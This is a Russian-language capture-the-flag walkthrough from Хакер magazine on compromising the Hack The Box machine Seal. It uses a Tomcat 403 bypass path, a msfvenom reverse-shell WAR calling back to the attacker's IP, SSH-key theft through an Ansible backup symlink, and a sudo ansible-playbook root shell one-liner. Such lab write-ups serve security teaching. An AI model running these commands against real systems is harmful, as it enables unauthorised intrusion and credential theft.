Хакер - HTB Seal. Пентестим Apache Tomcat и эксплуатируем Ansible Playbook
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Git
- Точка входа
- Точка опоры
- Обход 403 Forbidden
- Tomcat Admin to RCE
- Продвижение
- Локальное повышение привилегий
На этот раз мы с тобой пройдем среднюю по сложности машину с площадки Hack The Box. Ты научишься извлекать ценную информацию из репозиториев Git, обходить контроль доступа HTTP 403, эксплуатировать Apache Tomcat до уровня выполнения произвольного кода и повышать привилегии через Ansible Playbook.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.10.250 seal.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Видим три открытых порта: 22 (служба SSH), 443 (веб‑сервер nginx 1.18.0) и 8080 (отмечен как HTTP-прокси).
Справка: брутфорс учеток
Поскольку в начале прохождения у нас нет учетных данных, нет и смысла изучать службы, которые всегда требуют авторизации (например, SSH). Единственное, что мы можем делать здесь, — это перебирать пароли брутфорсом, но у машин с HTB почти всегда есть другое прохождение. В жизни таких вариантов может не быть, к тому же есть шансы подобрать пароль или получить его при помощи социальной инженерии.
Так как порт 443 работает по протоколу HTTPS, он содержит сертификат, а из него мы можем узнать, для какого адреса он действителен. Благо его мы уже добавили в файл /etc/hosts.
Посмотрим на сами сайты. На первом нас встречает какой‑то одностраничный маркет с полями для ввода. На втором находим GitBucket. Одного взгляда достаточно, чтобы определить, с каким из сайтов стоит начинать работать.


Git
GitBucket — это система для совместной работы с Git-репозиториями, которая предоставляет интерфейс в стиле GitHub. Здесь можно зарегистрироваться, что мы незамедлительно сделаем.

После этого нам становится доступно некоторое количество проектов. Мы можем поискать в исходных кодах критические данные вроде секретов, паролей и прочих интересностей. Также мы можем получить имена пользователей Git.

Запомним пользователей и пойдем по порядку просматривать репозитории. Так, в репозитории маркета мы найдем список дел, где среди прочего запланирована смена конфигурации Apache Tomcat.

Это важно, так как мы узнаем о еще одной технологии, которая используется на сайте. Давай просмотрим историю коммитов. Продвигаясь снизу вверх, остановимся на следующем коммите:
http://seal.htb:8080/root/seal_market/commit/ac210325afd2f6ae17cce84a8aa42805ce5fd010
В нем мы найдем файл конфигурации Tomcat и необходимый для авторизации пароль.

Пробуем авторизоваться с этим паролем в системе GitBucket от имени всех обнаруженных пользователей и выясняем, что можем зайти как luis. К сожалению, ничего нового нам это не открывает, а к SSH пароль Льюиса не подошел. Поэтому перейдем к сайту маркета.
ТОЧКА ВХОДА
На сайте у нас возможностей немного, поэтому поищем скрытые страницы перебором. Я буду использовать утилиту fuff и словарь из набора Seclists.
Справка: сканирование веба c fuff
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске используем следующие параметры:
-w— словарь (используемdirectory-list-2.3-medium);-t— количество потоков;-u— URL;-fc— исключить из результата ответы с кодом 403.
Команда получается следующая:
ffuf -w ../wordlists/_to_check/directory-list-2.3-medium.txt -u https://seal.htb/FUZZ -fc 403 -t 200

Все найденные страницы выполняют редирект в соответствующий каталог. Но нам интересны только две: admin и manager.

При обращении к каталогу /admin/ нам вернут ошибку 404, откуда мы узнаем, что на сервере работает Apache Tomcat 9.0.31. При этом страница /manager выполнит редирект в каталог /manager/, откуда нас снова перенаправляет на /manager/html. Последняя же вернет код 403 — это означает, что у нас недостаточно прав для доступа к странице. Чтобы расширить свою область знаний о сайте, повторим сканирование директорий, но уже в каталоге /manager/.
ffuf -w ../wordlists/_to_check/directory-list-2.3-medium.txt -u https://seal.htb/manager/FUZZ -fc 403 -t 200

Открываем для себя две новые страницы: text и status. Ответ 401 означает, что требуется HTTP-авторизация. У нас уже есть имя пользователя и пароль из конфига Apache Tomcat, поэтому без проблем проходим авторизацию. Нас встретит панель Server Status Apache Tomcat.

Этот материал ничего нам не дает, поэтому стоит попробовать пробиться к закрытым для нас функциям.
ТОЧКА ОПОРЫ
Обход 403 Forbidden
Есть много рекомендаций, как обойти ответ 403 (доступ запрещен), среди которых использование редких методов запроса (вместо обычных GET и POST), разных заголовков HTTP и специальных путей к целевой странице. На все эти случаи у меня есть свои словари, собранные из интернета и объединенные в один. Поэтому я буду использовать Burp Intruder для перебора разных вариантов.
В результате я получил ответы, длина которых значительно больше остальных. На вкладке Response в Burp включаем опцию Render, чтобы смотреть страницы, как в браузере.
Так мы получаем доступ к функции /manager/html при обращении к /manager/;%2f../;//html.

Tomcat Admin to RCE
Имея административный доступ к Tomcat, мы можем загрузить на сервер и затем выполнить файл WAR (набор ресурсов и исполняемых файлов Java). Конечно же, в нашем случае это будет обратный шелл. Его мы можем собрать с помощью Msfvenom.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.58 LPORT=443 -f war -o revshell.war

Этот код должен вызвать коннект на указанный адрес (то есть наш локальный IP). Пишем: rlwrap nc -lvp 443.
Справка: реверс-шелл
Обратный шелл — это подключение, которое активирует атакуемая машина, а мы принимаем и таким образом подключаемся к ней, чтобы выполнять команды от лица пользователя, который запустил шелл. Для приема соединения необходимо создать на локальной машине listener, то есть «слушатель».
В таких случаях пригодится rlwrap — readline-оболочка, которая в числе прочего позволяет пользоваться историей команд. Она обычно доступна в репозитории дистрибутива.
В качестве самого листенера при этом можно использовать широко известный netcat.
rlwrap nc -lvp [port]
Но файл просто так не загрузить, так как мы получаем доступ к странице только через специальный путь. Поэтому указываем файл для загрузки и активируем Burp Proxy для отлова запроса.

После появления запроса в Burp Proxy изменим уже знакомый нам путь /manager/html на /manager/;%2f../;//html.



После обновления страницы увидим в списке файлов свой реверс‑шелл. Обращаемся к нему и получаем бэкконнект.

ПРОДВИЖЕНИЕ
Если ты следишь за циклом моих статей, то уже знаешь, что для поиска пути продвижения я буду использовать LinPEAS.
Справка: скрипты PEASS для Linux
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Чтобы воспользоваться скриптом, его нужно сначала загрузить на локальный хост.
wget https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh
Теперь надо загрузить его на удаленный хост. В директории со скриптом на локальной машине запустим с помощью Python простой веб‑сервер. После выполнения этой команды веб‑сервер будет прослушивать порт 8000.
python3 -m http.server
А теперь с помощью того же wget на целевой машине загрузим скрипт с локального хоста на удаленный. После загрузки необходимо дать файлу право на выполнение и выполнить скрипт.
wget http://[ip_локального_хоста]:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
Информации получаем много, но ухватиться, казалось бы, не за что. Единственный момент — в дереве процессов видим запущенный скрипт из планировщика задач cron. Это может быть интересно!

Playbook во фреймворке Ansible определяет серию некоторых действий для выполнения. Часто плейбуки используют для начальной настройки серверов — добавления пользователей и каталогов, управления пакетами ПО и файлами. У нас в ansible-playbook передается файл конфигурации /opt/backups/playbook/run.yml.

В файле три задачи: Copy Files, Server Backups и Clean. То есть сначала файлы из директории /var/lib/tomcat9/webapps/ROOT/admin/dashboard копируются в каталог /opt/backups/files, затем файлы в этой директории архивируются и удаляются.


Так как выполняется копирование и файлов по ссылкам (опция copy_links) в контексте пользователя luis, то мы можем сделать ссылку на его личные файлы, что позволит их скопировать, когда cron запустит задачу. Конечно же, копировать будем приватный ключ SSH. Сделаем ссылку на ключ и поместим ее в целевую директорию. Спустя время обнаружим появившийся архив.
ln -s /home/luis/.ssh/ /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads

Открываем архив и достаем ключ.
cp /opt/backups/archives/backup-2021-07-15-15:10:32.gz /tmp/b.gz
gzip -kd /tmp/b.gz
tar -xf /tmp/b
cat /tmp/dashboard/uploads/.ssh/id_rsa
chmod 0600 id_rsa


ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Повторный запуск LinPEAS не показывает драматичных различий, но зацепка все же есть — настройки sudoers.
Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы пользователей могут выполнять от имени администратора системы. Можно просмотреть его как напрямую, так и при помощи команды sudo -l.

Любой пользователь (ALL) может выполнить команду /usr/bin/ansible-playbook * в привилегированном контексте без ввода пароля (NOPASSWD). Открываем сайт GTFOBins и находим технику локального повышения привилегий для этого приложения.

Эта команда создает файл конфигурации playbook во временной директории. Файл содержит одну выполняемую задачу — запуск оболочки /bin/sh. В конце ansible-playbook запускается в привилегированном контексте, что нам даст привилегированную оболочку.
TF=$(mktemp)
echo '[{hosts: localhost, tasks: [shell: /bin/sh </dev/tty >/dev/tty 2>/dev/tty]}]' >$TF
sudo ansible-playbook $TF

Машина захвачена, мы имеем над ней полный контроль!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei